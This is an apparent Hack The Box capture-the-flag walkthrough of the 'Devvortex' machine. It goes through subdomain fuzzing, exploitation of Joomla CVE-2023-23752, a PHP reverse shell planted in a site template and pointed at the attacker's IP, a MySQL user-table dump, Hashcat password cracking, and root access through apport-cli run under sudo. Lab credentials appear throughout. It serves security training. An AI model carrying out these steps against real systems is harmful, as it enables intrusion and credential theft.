HTB Walkthrough - Devvortex

By Tony Harkness

- 5 minutes read - 953 words

Information Gathering

Scanned all TCP ports:

#nmap scan
nmap -sV -sC -v -p- -T4 -oN nmap/initial $IP --open

#nmap results
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

TCP Port 80 - HTTP

Added devvortex.htb to my /etc/hosts file.

Found nothing interesting on main page, nothing when scanning for vulns and nothing when performing directory bruteforcing. Thus, I began to fuzz for subdomains.

Subdomain enumeration:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$IP -H "HOST:FUZZ.devvortex.htb" -fs 154

I then added the subdomain to my /etc/hosts file.

Starting back from square one on new site…

No interesting functionality on website. When performing subdirectory enumeration I received the following results:

The subdirectory that stood out was /administrator

This could also be found by viewing the robots.txt file:

/administrator/:

We have a Joomla admin login page. Let’s try to find creds.

Performed a droopescan:

When navigating to the first URL displayed by droopescan, we get very useful information:

This tells us the Joomla version is 4.2.6 and gives us interesting folders and files to check out.

I relied on HackTricks to help me enumerate and exploit Joomla as I haven’t worked with it before. This was a HUGE help: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/joomla

Let’s first check for exploits for this Joomla version

I found an exploit on GitHub for CVE-2023-23752

Let’s install and configure the tool, and then test it out.

Exploitation

CVE-2023-23752

I simply downloaded the joomla.py file from the GitHub repository and spun it right up:

Creds gained! lewis:P4ntherg0t1n5r3c0n##

We’re in 😎

Again, we will follow HackTricks to exploit Joomla by navigating to System>Site Templates>Cassiopeia Details and Files

We will select a php file - I went with error.php and we will edit the code to give us a reverse shell. I copied the one from /usr/share/webshells/laudanum/php/php-reverse-shell.php and edited the file to my attacker IP address and the port I wanted to listen on via netcat.

I outputted the contents of the reverse shell, copied them, and replaced the contents of the error.php file in Joomla and clicked Save.

When calling this page via curl, our reverse shell is established

Privilege Escalation

Local Enumeration & Lateral Escalation

Firstly, I stabilized my shell by issuing the below commands individually:

python3 -c 'import pty; pty.spawn("/bin/bash")'

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp

export TERM=xterm-256color

alias ll='ls -lsaht --color=auto'

# Keyboard Shortcut: Ctrl + Z (Background Process.) #

stty raw -echo ; fg ; reset

stty columns 200 rows 200

Now we have a fully stable shell with auto-completion and more 🤑

I will quickly check for system users on the machine so I know where to potentially laterally escalate to

cat /etc/passwd | grep /bin/bash

We get root and logan

Given that we have mysql creds, let’s now login to mysql

#Target machine
mysql -u lewis -p

Referring to the information we gained from the exploit earlier, let’s select the database to joomla

use joomla;

We will now show tables in the joomla database

show tables;

We get back a lot of results but I’d like to dig in to the sd4fg_users table.

Thus, let’s gather all information from this table

select * from sd4fg_users;

This output contains a hash for the user logan. A user we know to exist on the machine from our enumeration earlier. I will copy this hash and analyze it with https://hashes.com/en/tools/hash_identifier

Note: The command-line tool built-in to Kali hash-identifier did not recognize the hashes for me.

I will now search for the Hashcat mode for this specific hash type

I will copy the contents of the hash and place it in a file called hash.txt

I will then attempt to crack the hash via Hashcat

hashcat -m 3200 hash.txt /user/share/wordlists/rockyou.txt

Hash cracked!! logan:tequieromucho

I will now attempt to login as the logan user via SSH

Retrieved the user.txt file

Apport-cli as root

When running sudo -l we get the following:

I will search for exploits for apport version 2.20

I find a link to a GitHub page showcasing a PoC exploit.

We must first generate a crash to have a crash file as there aren’t any in /var/crash/

#create a crash
sleep 13 * killall -SIGSEGV sleep

Now, let’s perform the same thing as demonstrated to get root.

sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash

Select option “V”

We will get back a bunch of information, however, entering !<command> allows us to execute commands as root. I ran !id to confirm and then retrieved the contents of the root flag.

Resolution summary

  • Performed an nmap scan on open ports and their service information
  • Performed a subdomain enumeration uncovering http://dev.devvortex.htb
  • Performed a subdirectory bruteforce leading us to a Joomla admin portal
  • Performed a droopescan and enumerated Joomla version
  • Leveraged CVE-2023-23752 to retrieve mySQL credentials
  • Used gathered mySQL credentials to login to Joomla admin panel
  • Injected malicious PHP code in “Site Templates” to establish a reverse shell
  • Connected to mySQL database and dumped all contents of users table
  • Looked up hashes to determine their types
  • Cracked hashes with Hashcat
  • Logged in via SSH as system user
  • User was able to run appport-cli as sudo
  • Vulnerable appport-cli version allowed local privilege escalation
  • Root obtained and both flag’s retrieved

Improved skills

  • Performed a droopescan on Joomla
  • Template Injection in Joomla
  • How to intentionally create a crash file
  • Exploiting a sudo vuln not on GTFObins
  • Running commands via less

Used tools

  • nmap
  • gobuster
  • ffuf
  • droopescan
  • ssh

Trophy

“Cr34t1ng 4 path of 3xcell3nc3 t4k3s d3t3rm1n4t10n, h4rd w0rk, 4nd 4 sp1r1t th4t n3v3r s4y5 ‘I can’t.’”

User.txt

Root.txt